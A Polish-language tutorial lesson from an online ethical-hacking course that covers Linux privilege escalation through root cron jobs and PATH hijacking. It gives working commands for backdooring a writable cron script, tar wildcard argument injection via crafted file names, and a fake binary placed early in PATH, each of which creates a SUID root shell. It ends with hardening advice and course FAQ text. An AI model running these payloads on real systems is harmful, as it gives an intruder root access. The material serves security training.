Ethical Hacking Academy · Lekcja

Zadania Cron i PATH

Nadużywanie zadań zaplanowanych

Zadania Cron i PATH to bezpłatna lekcja Ethical Hacking Academy na CoddyKit. To lekcja 3 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Ethical Hacking Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Ethical Hacking Academy zawiera 4 lekcji w sumie.

Zadania Cron jako wektor ataku

Demon cron uruchamia zaplanowane zadania, często jako root. Jeśli można wpływać na to, co wykonuje zadanie cron uruchamiane jako root — na jego skrypt, dane wejściowe lub sposób rozpoznawania poleceń — można uruchomić kod jako root.

Enumeracja Cron

Należy odczytać systemowy crontab oraz katalogi cron. Trzeba zwrócić uwagę na to, kto uruchamia każde zadanie i jakie skrypty ono wywołuje.

cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/null

Wyszukiwanie ukrytych zadań

Niektóre zadania nie znajdują się w oczywistych plikach. pspy monitoruje tworzenie procesów bez uprawnień root, ujawniając polecenia cron w chwili ich uruchamiania — także te, których nie można odczytać w konfiguracji.

./pspy64
# watch for periodic root processes

Skrypty cron z możliwością zapisu

Najprostszy sposób nadużycia: zadanie cron uruchamiane jako root wykonuje skrypt, który można modyfikować. Należy dopisać payload i poczekać na kolejne uruchomienie.

ls -la /opt/backup.sh   # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh

Wstrzykiwanie symboli wieloznacznych

Jeśli zadanie cron uruchamiane jako root używa symbolu wieloznacznego, takiego jak tar -czf backup.tar.gz *, w katalogu, nad którym ma Pan/Pani kontrolę, można utworzyć pliki, których nazwy działają jak opcje wiersza poleceń (wstrzykiwanie argumentów), zmuszając tar do uruchomienia wybranego polecenia.

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.sh

Czym jest PATH?

PATH to lista katalogów, w których powłoka wyszukuje polecenia. Gdy skrypt wywołuje polecenie wyłącznie po nazwie (np. backup zamiast /usr/bin/backup), wygrywa pierwszy pasujący plik znaleziony w PATH.

echo $PATH
# /usr/local/bin:/usr/bin:/bin

Przejęcie PATH

Jeśli skrypt uruchamiany jako root wywołuje polecenie bez ścieżki absolutnej, a można dodać zapisywalny katalog na początku jego PATH, należy umieścić w nim złośliwy plik binarny o tej nazwie. Root uruchomi tę wersję.

echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH

Ścieżka względna w plikach binarnych SUID

Ta sama luka występuje w niestandardowych plikach binarnych SUID, które wywołują system("service ...") bez pełnej ścieżki. Przejęcie PATH uruchamia wtedy kod jako root — łącząc nadużycie PATH z koncepcją SUID.

Wykorzystanie zapisywalnego katalogu PATH

Nawet bez zmiany PATH, jeśli istniejący katalog z PATH (np. /usr/local/bin) jest zapisywalny, a zadanie uruchamiane jako root wywołuje znalezione w nim polecenie, wystarczy umieścić tam własny plik binarny.

ls -ld /usr/local/bin   # check for write permission

Wyznaczanie czasu ataku

Eskalacja oparta na cron wymaga cierpliwości — trzeba poczekać na zaplanowane uruchomienie. Należy sprawdzić interwał, umieścić payload i po wykonaniu zadania sprawdzić rezultat (np. powłokę SUID).

watch -n 5 ls -la /tmp/rootbash

Zabezpieczenia i etyka

Administratorzy powinni używać w skryptach ścieżek absolutnych, ograniczać uprawnienia do skryptów cron i ich katalogów, unikać symboli wieloznacznych w ścieżkach kontrolowanych przez atakującego oraz ustawiać bezpieczny PATH wewnątrz cron. Tych technik należy używać wyłącznie w miejscach, do których ma Pan/Pani upoważnienie.

Szybkie sprawdzenie

Sprawdź swoją wiedzę o cron i PATH.

Podsumowanie

Poznał(a) Pan/Pani eskalację uprawnień za pomocą cron i PATH:

Zadania cron uruchamiane jako root, które wywołują zapisywalne skrypty lub używają symboli wieloznacznych, są podatne na wykorzystanie
pspy ujawnia ukryte zaplanowane procesy
Przejęcie PATH wykorzystuje polecenia wywoływane bez ścieżki absolutnej
Należy umieścić payload, poczekać na zaplanowane uruchomienie i uzyskać uprawnienia root

Następnie: exploity jądra.

Często zadawane pytania

Czy lekcja „Zadania Cron i PATH” jest bezpłatna?

Tak — pełny tekst „Zadania Cron i PATH” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Ethical Hacking Academy, przejdź na CoddyKit PRO. Kurs Ethical Hacking Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Zadania Cron i PATH”?

Nadużywanie zadań zaplanowanych Ćwiczysz Ethical Hacking Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć Ethical Hacking Academy?

Nie wymagamy żadnego doświadczenia. Ethical Hacking Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 3 z 4.

Ile czasu zajmuje lekcja „Zadania Cron i PATH”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji Ethical Hacking Academy?

Tak. Każda lekcja Ethical Hacking Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

← Powrót do Ethical Hacking Academy